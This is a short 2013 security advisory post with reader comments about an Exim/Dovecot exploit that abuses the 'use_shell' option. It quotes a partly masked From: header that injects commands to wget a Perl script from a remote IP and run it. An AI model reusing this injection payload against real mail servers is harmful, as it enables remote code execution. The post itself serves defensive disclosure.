Exim/Dovecot exploit making the rounds

Published: 2013-06-07
Last Updated: 2013-06-07 14:18:12 UTC
by Joel Esler (Version: 1)
2 comment(s)

One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server.  The exploit partially looked like this:

From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`@blaat.com

(Obviously edited for your safety, and I didn't post the whole thing.)

This is an exploit against Dovecot that is using the feature "use_shell" against itself.  This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration.  We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter.  Or if you are, make darn sure you know what you are doing, and how to defend yourself.

-- Joel Esler | http://blog.joelesler.net | http://twitter.com/joelesler

2 comment(s)


To be clear, this is about configurations using dovecot as a LDA, and it's actually the exim config to enable that which has the 'use_shell' issue. So if you're checking it should be /etc/exim4/exim4.conf, or similar, that you look at, not the dovecot config!
This must have been going on for some time, as I recall seeing an example of this some weeks ago. It actually got delivered to an administrator account like postmaster@ and seemed like spam at first glance. Unfortunately I can't find a sample of this now. I didn't realise at the time what it was trying to exploit; I'd thought it was maybe something to do with mail sieve/filters like procmail.

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